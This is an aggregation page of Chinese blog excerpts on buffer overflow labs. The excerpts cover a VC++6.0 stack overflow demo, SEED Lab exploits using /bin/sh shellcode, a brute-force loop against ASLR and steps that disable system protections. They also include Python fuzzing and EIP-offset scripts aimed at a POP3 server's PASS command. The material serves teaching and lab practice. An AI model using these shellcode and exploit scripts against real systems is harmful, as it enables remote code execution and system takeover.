精华内容
下载资源
问答
  • 缓冲区溢出实验

    2018-10-29 08:50:10
    缓冲区溢出实验
  • CSAPP缓冲区溢出实验

    2015-07-11 15:27:18
    CSAPP缓冲区溢出实验,里面有详细解答过程和报告,还有一些网上参考资源。绝对给力
  • C++缓冲区溢出实验

    2014-11-13 22:53:57
    C++缓冲区溢出实验 war-ftp1.65 OllyDBG patternCreate.pl patternOffset.pl
  • 堆栈缓冲区溢出实验

    2020-10-30 23:07:44
    实验二 堆栈缓冲区溢出实验 一、 实验目的  了解堆栈缓冲区溢出原理  掌握vc++6.0使用方法  熟悉堆栈缓冲区溢出防范常用的方法 二、 实验原理 堆栈的概念 堆栈是一个在计算机科学中经常使用的抽象数据类型。...

    实验二 堆栈缓冲区溢出实验

    一、 实验目的
     了解堆栈缓冲区溢出原理
     掌握vc++6.0使用方法
     熟悉堆栈缓冲区溢出防范常用的方法
    二、 实验原理

    1. 堆栈的概念
      堆栈是一个在计算机科学中经常使用的抽象数据类型。堆栈中的物体具有一个特性:最后一个放入堆栈中的物体总是被最先拿出来,这个特性通常称为后进先处(LIFO)队列。堆栈中定义了一些操作,两个最重要的是PUSH和POP。PUSH操作在堆栈的顶部加入一个元素。POP操作相反,在堆栈顶部移去一个元素,并将堆栈的大小减一。
    2. 堆栈缓冲区溢出原理
      函数调用时,返回地址存放在堆栈中,局部变量也存放在堆栈中;如果局部变量中有一个字符数组,并且该程序使用了危险的函数来操纵该字符数组,那么就可以通过向该程序传递超长的字符串来使得该字符数组“溢出”,从而达到覆盖返回地址、执行恶意代码的目的。
    3. 防范措施:
      引入新的安全的函数,取代旧的、有缺陷的函数。较新的c库中都带有 strncpy ,fgets , sscanf 等函数。
      插入保护码,这些保护码被称为“金丝雀”。某些程序包可以与编译器配套使用,在返回地址与局部变量之间插入一些保护码,导致入侵者在覆盖返回地址的时候,首先覆盖了保护代码。程序运行时会检测这些保护码,如果这些代码被改变,程序就会马上终止。检测保护码的代码是编译器加进去的,程序员无需为此操心。
      真正有威胁的攻击来自shell2 code,但shell2code通常要求在堆栈中植入一段代 码并执行,这就需要堆栈是可执行的。一些操作系统 (如新版的Solaris)可以将堆栈设置为不可执行的。Intel 的 Itanium 处理器采用了一种与众不同的途径来避免基于堆栈的缓冲区溢出攻击,即为返回地址设置了一个寄存器,使返回地址不再放到堆栈中,所以无论如何溢出,也不会影响返回地址的值。
      三、 实验环境
    4. 操作系统
      操作机:Windows_7
      操作机默认用户名:administrator,密码:123456
    5. 实验工具
      Microsoft Visual C++ 6.0
      Microsoft Visual C++,(简称Visual C++、MSVC、VC++或VC)是Microsoft公司推出的以C++语言为基础的开发Windows环境程序,面向对象的可视化集成编程系统。它不但具有程序框架自动生成、灵活方便的类管理、代码编写和界面设计集成交互操作、可开发多种程序等优点,而且通过的设置就可使其生成的程序框架支持数据库接口、OLE2.0,WinSock网络。
      四、 实验步骤及内容
      1.1打开目录D:\2、网络攻防\2、网络入侵\30系统漏洞攻击\2.堆栈缓冲区溢出实验\工具包,解压vc安装包,安装vc6。
      在这里插入图片描述
      在这里插入图片描述

    1.2默认安装完成,桌面出现VC+ +6.0的图标
    在这里插入图片描述
    在这里插入图片描述
    2.1打开实验所用c程序

    2.2新建文本文件,源码的拷贝程序如下:

    #include <stdio.h>
    #include "string.h"
    #include <windows.h>
    
    int fun(char *szIn, int nTest)
    {
        int a=1, b=2, c=0;
        char szBuf[8];
        memcpy(szBuf, szIn, strlen(szIn));
        c = a + b;
        return c;
    }
    
    int main()
    {
        int i = 0, j = 0;
        printf("按1临近变量覆盖,按2为返回值覆盖!");
        scanf("%d", &i);
    
        if (i== 1){
            char sz_In2[] = "1234567890s";
            j = fun(sz_In2, 888);
        }else if (i == 2){
            char sz_In3[] = "123456789abcdefghijklmnopqrstuvwxyz";
            i = fun(sz_In3, 888);
        }else{
            char sz_In1[] = "123";
            j = fun(sz_In1, 888);
        }
        return 0;
    }
    

    2.3保存为.c的文件,点击“组建”选项卡下的"编译”,编译文件遇到询问是否需要创建一个活动的项目工作区,点击“是"
    在这里插入图片描述
    在这里插入图片描述

    2.4在程序中设置断点,进行调试。按F9进行设置,设置内容如下
    在这里插入图片描述

    2.5按F5开始调试。询问是否创建exe文件, 点击“是"
    在这里插入图片描述

    3.1进入断点调试按1的时候程序的中间变量变化情况.点Run to Cursor .将程序凋至fun函数的memcpy位置。
    3.2第二个断点的结果显示
    在这里插入图片描述
    根据上图可知申请的个八个区域的数组由于给他赋值为十块的内容,导致了变量溢出从而覆盖了c的值。
    3.3 ( 淹没返回地址改变程序流程)退出程序,按F5重新运行。按2键进行返回值覆盖 ,回车。按下F5运行到c=a+b处,查看a,b,c三值发生了数据溢出。
    在这里插入图片描述

    3.4得知,b,c的值金部被改变了,按F5继续执行代码弹出如下错误。
    在这里插入图片描述

    上图说明子函数的返回地址被覆盖掉了,无法正常退出。
    五、 实验总结
    通过本次实验,了解了堆栈缓冲区溢出漏洞的原理以及防范的方法,掌握了vc++6.0使用方法,收获很大。

    展开全文
  • seedlab缓冲区溢出实验

    2020-12-26 17:21:25
    title: seedlab缓冲区溢出实验 tags: - seedlab - 软件安全 seedlab缓冲区溢出实验 一、实验目的 完成题目指导书所给的任务 二、实验步骤与结果 首先进行初始设置: 1、关闭地址空间随机化,为了防止堆栈地址和动态...

    seedlab缓冲区溢出实验

    一、实验目的

    完成题目指导书所给的任务

    二、实验步骤与结果

    首先进行初始设置:

    1、关闭地址空间随机化,为了防止堆栈地址和动态链接库加载地址随机化从而无法执行目标shellcode。

    2、在编译程序时应该设置堆栈不可执行,否则shellcode是无法在栈上执行的。

    3、关闭stack guard机制,防止栈溢出被检测出来,但是如果有格式化字符串漏洞的话,可以尝试泄露cancary的值,然后可以在构造的时候在ebp之前加上该值就可以执行shellcode了。

    4、将/bin/sh的符号链接指向/bin/zsh,因为在16.04中默认是指向/bin/bash的,而该shell会检测到它在一个Set-UID 进程中被执行,它会立即切换有效的user ID 为进程的真实user ID,放弃特权。

    Task1:运行shellcode

    加入编译条件后

    gcc -z execstack -o call_shellcode call_shellcode.c
    

    运行结果如下:
    在这里插入图片描述
    的确打开了/bin/sh这个shell,说明shell可以被调用成功。

    之后查看漏洞程序,发现存在缓冲区溢出漏洞,向24字节大小的地址中写入517个字节的大小。这517个字节数据来自于badfile文件,所以重点就是如何构造输入数据。

    之后对于漏洞程序来说,如果我们想要拿到root权限,那么调用shell的程序也是 应该具有root权限才可以,否则只会像上图一样以普通用户模式打开shell。所以应该对此程序设为set-uid root。指令调用如下:
    在这里插入图片描述
    调用结束之后,
    在这里插入图片描述
    发现修改成功,task1结束。

    Task2:利用漏洞

    既然要利用程序,那么确定buffer相对于返回地址的偏移量便是很重要的,一旦确定偏移量,那么返回地址上面覆盖为需要执行的代码即可。

    首先随机生成100个字节写入badfile中,然后运行stack,在gdb中程序会停住。

    在这里插入图片描述
    停住的原因就是返回地址无法识别为可执行的数据。如果能得到EBP的偏移量,那么返回地址就在后面4个字节处,之后查看偏移量:

    在这里插入图片描述
    发现偏移量为32,也就是我们的shellcode的地址应该放到buffer+36地址处,之后便需要确定shellcode的地址,如果选择把shellcode放到buffer+100处,那么进入程序后,会先放到str变量中,如果能知道str变量的地址,那么便可以知道shellcode的地址。
    在这里插入图片描述
    得到了str的地址,那么此时shellcode的地址就是0xbfff12/26/2020eb77+100,即0xbfffebdb。

    在这里插入图片描述
    运行之后,可得root:

    在这里插入图片描述
    之后可以通过运行setuid程序来得到真正的root:

    在这里插入图片描述

    Task3:ASLR

    打开地址空间随机化,

    在这里插入图片描述
    因为32为中,栈的基地址只有pow(2,19)种可能,可以暴力破解。

    执行如下脚本:

    在这里插入图片描述
    执行结果如下:
    在这里插入图片描述
    运行70272次,成功打开shell。

    Task4:stack guard

    执行如下指令:
    在这里插入图片描述
    打开stack guard机制
    在这里插入图片描述
    发现栈溢出被检测到了,原因就是覆盖了EBP附近的cancry标志,由系统检测到,报错。

    Task5:不可执行栈

    使用如下指令关闭不可执行栈:
    在这里插入图片描述
    程序崩溃,进入gdb发现无法识别指令所代表的一串数据为合法地址。
    在这里插入图片描述
    即栈上不能包含指令,如果想要攻击的话,可以在上面覆盖某些gadget的地址,生成ROP链进行攻击。

    展开全文
  • 缓冲区溢出实验.docx

    2020-06-23 19:48:31
    栈溢出、整型溢出和UAF(Use After Free)类型缓冲区溢出缓冲区溢出常见的三种溢出类型。缓冲区溢出的利用实验
  • 上一篇文章,我已经做好了缓冲区溢出实验的准备工作:下面就是Kali虚拟机对缓冲区溢出的测试:已经知道目标IP为:192.168.163.130连接目标机器110端口成功,接下来进行测试事先已经知道PASS命令存在缓冲区溢出漏洞:...

    上一篇文章,我已经做好了缓冲区溢出实验的准备工作:

    下面就是Kali虚拟机对缓冲区溢出的测试:

    已经知道目标IP为:192.168.163.130

    1ad95c0971f5be6b16589e8fb7572650.png

    连接目标机器110端口成功,接下来进行测试

    事先已经知道PASS命令存在缓冲区溢出漏洞:

    只要在PASS后边输入的数据达到某一个值时,就会出现缓冲区溢出漏洞

    但是,手动尝试这个值实在有点低端,写一个Python脚本:

    先写一个基本的脚本来测试:

    #!/usr/bin/python

    importsocket

    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:print "\nSending evil buffer..."s.connect(('192.168.163.130', 110))

    data= s.recv(1024)printdata

    s.send('USER test' + '\r\n')

    data= s.recv(1024)printdata

    s.send('PASS test\r\n')

    data= s.recv(1024)printdata

    s.close()print '\nDone'

    except:print 'Can not connect to POP3'

    使用脚本:

    如果脚本是从windows移过来的:

    vi xxx.py

    :set fileformat=unix

    :wq

    chmod u+x xxx.py

    ./xxx.py

    测试:OK

    f0444985b0c33e7f760e5d4a0c861c61.png

    完善脚本:

    #!/usr/bin/python

    importsocket

    buffer= ["A"]

    counter= 100

    while len(buffer) <= 30:

    buffer.append("A" *counter)

    counter+= 200

    for string inbuffer:print "FUZZING PASS WITH %s BYTES" %len(string)

    s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    connect= s.connect(('192.168.163.130', 110))

    s.recv(1024)

    s.send('USER test' + '\r\n')

    s.recv(1024)

    s.send('PASS' + string + '\r\n')

    s.send('QUIT\r\n')

    s.close()

    测试:OK

    3a38417d39e92f0b4c283e9b04f716ad.png

    我们发送这么多的数据来测试,那么问题来了,要怎么判断目标机器到底有没有缓冲区溢出?

    这时候就需要上一篇提到的ImmunityDebugger了:

    先得到进程的PID:

    b537d9ae1555a0f8452b55d0844fbe24.png

    记住这个PID,打开ImmunityDebugger,file菜单选择attach

    然后找到刚才的PID选择即可:

    bde49ef73b03882e6ca5c4deda653cc1.png

    默认的暂停状态,点击开始按钮来继续:

    740fd639bdaf0d90c39ad378a14f3145.png

    打开Kali虚拟机开始发送:

    果然,发送到2900的时候停下来了:

    9c52917e249facfe4922bc9704d148f4.png

    我们看看windows机器:

    观察寄存器:

    ce0072fa81f9a70e22534a6d478d4393.png

    注意这里的寄存器显示:41414141,根据Ascii码表,得出是AAAA

    这里重点注意EIP:系统下一步要执行指令的内存地址

    而这里下一条指令全部都是A,没有正确的执行代码,所以现在程序已经崩溃了

    再看看下边的内存信息:全部都是A

    4c11ac735f1e22a143c7ed2e9b409764.png

    我们可以把脚本的A改成其他字符继续测试,发现都是到3000左右程序崩溃

    到这里我们想到:是否可以通过这个漏洞来做一些事情?

    OK,我们可以通过脚本测试得到确切的溢出值,然后修改EIP寄存器存放下一条指令的地址

    可以添加一些后门程序,如果是Shellcode就可以进一步控制目标机器

    下一个目标: 找出精确的溢出到EIP寄存器的字节,进而可以修改程序运行轨迹

    我们进一步来写一个脚本:

    #!/usr/bin/python

    importsocket

    buffer= 'A' * 2700s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:print "\nSending evil buffer...\n"s.connect(('192.168.163.130', 110))

    data1= s.recv(1024)

    s.send('USER test' + '\r\n')

    data2= s.recv(1024)

    s.send('PASS' + buffer + '\r\n')

    s.close()print '\nDone'

    except:print 'Can not connect to POP3'

    发送过去程序崩溃了,说明2700大了,那么需要调小一些,

    改成2600试试:发现程序崩溃了,但是EIP并不是A,所以想要利用需要比2600大

    到这里就知道了,最终数据应该是2600-2700之间

    不过,具体该怎么精确地跳转呢?

    二分法:不必多说

    唯一字符串法:生成2700个字符,每四个一组,每一组字符串唯一,发送唯一字符串,精确定位

    唯一字符串脚本比较复杂,但不需要自己写,Kali虚拟机里面就有:metasploit-framework一个ruby脚本

    c6cbf548246dc7f7a61f87cdee7dfbd9.png

    使用方式: ./pattern_create.rb -l 2700

    我们使用这2700个字符地唯一字符串来修改上边地脚本,把“A”*2700换成这个字符串

    查看寄存器:

    b9dc079c6a8080249a6353e362acd17c.png

    发现唯一字符串对应地址(16进制)是:39 69 44 38

    由于内存地址,读取要倒过来:38 44 69 39

    对应字符是:8 D i 9

    那么怎样知道对应第几位呢?

    metasploit-framework一个ruby脚本可以解决:

    3ab08bbb98fa3cc6daf0af70c94e4ba5.png

    使用:

    0d95774a6a329ed06e219b00c4929189.png

    或者这样:

    2f86d1f88dbedd8ece83ba87d9c31cfc.png

    得出是在第2606个位置

    既然得到了是在第2606个位置:

    就可以继续修改这个脚本了:测试能否恰好是BBBB

    #!/usr/bin/python

    importsocket

    buffer= 'A' * 2606 + 'B' * 4 + 'C' * 20s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:print "\nSending evil buffer...\n"s.connect(('192.168.163.130', 110))

    data1= s.recv(1024)

    s.send('USER test' + '\r\n')

    data2= s.recv(1024)

    s.send('PASS' + buffer + '\r\n')

    s.close()print '\nDone'

    except:print 'Can not connect to POP3'

    果然:

    0894aa786997c3256310d66ce4acfe18.png

    查看42对应的就是B

    那么

    假设,在ESP中,不是20个C,而是Shellcode或者是恶意代码(反向连接等等)

    就可以实现远程控制的目的

    具体如何精确修改而实现对目标机器的控制呢?

    下一篇随笔具体介绍

    展开全文
  • 缓冲区溢出实验(Linux 32位) 参考教程与材料:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/ (本文记录了做SEED缓冲区溢出实验的体会与问题,侧重实践,而不是讲解缓冲区溢出原理的...

    缓冲区溢出实验(Linux 32位)

    参考教程与材料:http://www.cis.syr.edu/~wedu/seed/Labs_12.04/Software/Buffer_Overflow/

     (本文记录了做SEED缓冲区溢出实验的体会与问题,侧重实践,而不是讲解缓冲区溢出原理的详细教程)

    1. 准备工作

    使用SEED ubuntu虚拟机进行缓冲区溢出实验,首先要关闭一些针对此攻击的防御机制来简化实验。

    (1)内存地址随机化(Address Space Randomization):基于Linux的操作系统一般使堆和栈的开始地址随机化,使得攻击者猜测确切的地址变得困难。使用如下指令关闭该功能。

    $ su root
    Password: (enter root password)
    #sysctl -w kernel.randomize_va_space=0

    (2)The StackGuard Protection Scheme:GCC编译器实现了一个被称为“Stack Guard”的安全机制来防御缓冲区溢出攻击。所以在编译漏洞程序时加上-fno-stack-protector参数来关闭该机制。

     

    (3)Non-Executable Stack:Ubuntu曾经允许栈执行,但是现在程序必须声明栈是否允许执行。内核和链接器检查程序头的标志来判断是否允许栈被执行。GCC在模式情况下设置栈不可执行,所以需要在编译时加入-z execstack参数来允许栈执行。

    2. ShellCode

    教程提供了shellcode,是如下代码反汇编得到的机器码,功能就是打开一个shell,通过编译执行call_shellcode.c可以验证shellcode的正确性。使用gdb调试call_shellcode会发现buf的起始地址没有进行字节对其,但是并不影响shellcode的执行,该验证程序是将buf强制转换成了函数指针来执行,用法巧妙。其中shellcode还有一些需要解释的地方,如“//sh”是为了凑足4字节,并且“/”与“//”是一样的;为了给execve传递参数,需要字符串的地址,这里采用了push并传递esp的方法;cdq是一个简短的指令来使edx置零。注意在编译时加入令栈可执行的参数,指令如下所示:gcc -z execstack -o call_shellcode call_shellcode.c

     

    #include <stdio.h>
    int main( ) {
    char*
    name[2];
    name[0] = ‘‘/bin/sh’’;
    name[1] = NULL;
    execve(name[0], name, NULL);
    }
    View Code
    /* call_shellcode.c  */
    
    /*A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    
    const char code[] =
      "\x31\xc0"             /* xorl    %eax,%eax              */
      "\x50"                 /* pushl   %eax                   */
      "\x68""//sh"           /* pushl   $0x68732f2f            */
      "\x68""/bin"           /* pushl   $0x6e69622f            */
      "\x89\xe3"             /* movl    %esp,%ebx              */
      "\x50"                 /* pushl   %eax                   */
      "\x53"                 /* pushl   %ebx                   */
      "\x89\xe1"             /* movl    %esp,%ecx              */
      "\x99"                 /* cdq                            */
      "\xb0\x0b"             /* movb    $0x0b,%al              */
      "\xcd\x80"             /* int     $0x80                  */
    ;
    
    int main(int argc, char **argv)
    {
       char buf[sizeof(code)];
       strcpy(buf, code);
       ((void(*)( ))buf)( );
    } 
    View Code

     

     


    3.漏洞程序stack.c

    程序很简单,从文件中读入内容至str,传入仅有24字节大小的buffer时会溢出。编译时记得取消保护机制,加入ggdb为了使用gdb调试方便。gcc –ggdb -o stack -z execstack -fno-stack-protector stack.c

    /* stack.c */
    
    /* This program has a buffer overflow vulnerability. */
    /* Our task is to exploit this vulnerability */
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    int bof(char *str)
    {
        char buffer[24];
    
        /* The following statement has a buffer overflow problem */ 
        strcpy(buffer, str);
    
        return 1;
    }
    
    int main(int argc, char **argv)
    {
        char str[517];
        FILE *badfile;
    
        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 517, badfile);
        bof(str);
    
        printf("Returned Properly\n");
        return 1;
    }
    View Code

     

     

    4.实验内容

    GDB的使用参考:

    http://blog.csdn.net/liigo/article/details/582231

    http://blog.sina.com.cn/s/blog_605f5b4f0101ey1q.html

    (1)攻击漏洞程序执行shellcode

    使用gdb进入bof()之后,使用i frame可以查看当前程序栈的信息,如下所示。从中可以直接看出ebp和eip的保存位置,其中eip的返回位置即要精心覆盖的返回地址,将其指向我们构造的shellcode即可。

     

    查看栈的内存与变量的位置,图中圈出的就是保存的eip值和变量位置。不过有个疑问没有解决,就是0xbffff010与0xbffff014这8个内存的作用不明。

     

    执行memcpy后,可以看出内存变为如下图所示。

     

    即从0xbfffeff8开始存入了shellcode,开始时考虑采用NSR模式,但是由于漏洞程序的缓冲区很小,刚好可以放下shellcode,所以直接使用了SR模式,其中返回地址R是0xbfffeff8。另外需要注意,拷贝shellcode时不要把字符串结尾的’\x00’也复制过去,否则漏洞程序会认为字符串就此截止,而不复制后面的内容。这么做会发现shellcode运行出错。经过仔细查看执行过程时的内存,发现shellcode会压栈一些内容,压入ebx时恰好会把shellcode最后的语句(位置0xbffffffc)覆盖!故考虑使用RNS模式,实验表明使用RNS模式更加简单,容错率也高。

     

     

    修改exploit.c如下所示,成功!

     

     

    (2)启动内存地址随机化

    首先打开Linux的内存地址随机化功能,sysctl -w kernel.randomize_va_space=2,再次执行stack会段错误。gdb调试时会默认关闭内存地址随机化,需要进入gdb后首先输入set disable-randomization off来开启地址随机化,接下来进行调试。每次运行时会发现栈的地址随机变化,从而使得攻击者无法确定shellcode的地址。

    (3)Stack Guard

    首先关闭内存地址随机化以防止干扰,然后重新编译stack.c,此时不加入-fno-stack-protector参数即开启了该防护措施(新版本gcc)。再次执行stack会出现错误,从汇编可以看出,该机制是检测ebp-0xc这个位置存放的4字节是否被改变,该位置0xbfffeffc恰好就在局部变量与栈帧之间。再次编译stack程序,发现该检测值会发生改变,可见是随机生成的,难以预测。

     

     

    (4)栈不可执行

    使用gcc -o stack -fno-stack-protector -z noexecstack stack.c编译stack.c,调试运行会发现只要执行栈上的指令,进程会收到系统信号SIGSEGV,段错误。可以使用Return-to-Libc来绕过该防御机制。

    /* exploit.c  */
    
    /* A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    char shellcode[]=
        "\x31\xc0"             /* xorl    %eax,%eax              */
        "\x50"                 /* pushl   %eax                   */
        "\x68""//sh"           /* pushl   $0x68732f2f            */
        "\x68""/bin"           /* pushl   $0x6e69622f            */
        "\x89\xe3"             /* movl    %esp,%ebx              */
        "\x50"                 /* pushl   %eax                   */
        "\x53"                 /* pushl   %ebx                   */
        "\x89\xe1"             /* movl    %esp,%ecx              */
        "\x99"                 /* cdq                            */
        "\xb0\x0b"             /* movb    $0x0b,%al              */
        "\xcd\x80"             /* int     $0x80                  */
    ;
    
    void main(int argc, char **argv)
    {
        char buffer[517];
        FILE *badfile;
    
        /* Initialize buffer with 0x90 (NOP instruction) */
        memset(&buffer, 0x90, 517);
    
        /* You need to fill the buffer with appropriate contents here */ 
    
        /* Save the contents to the file "badfile" */
        badfile = fopen("./badfile", "w");
        fwrite(buffer, 517, 1, badfile);
        fclose(badfile);
    }
    View Code

     

    高级缓冲区溢出技术可以参考:http://drops.wooyun.org/tips/6597

    转载于:https://www.cnblogs.com/ascii0x03/p/5448894.html

    展开全文

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 813
精华内容 325
关键字:

缓冲区溢出实验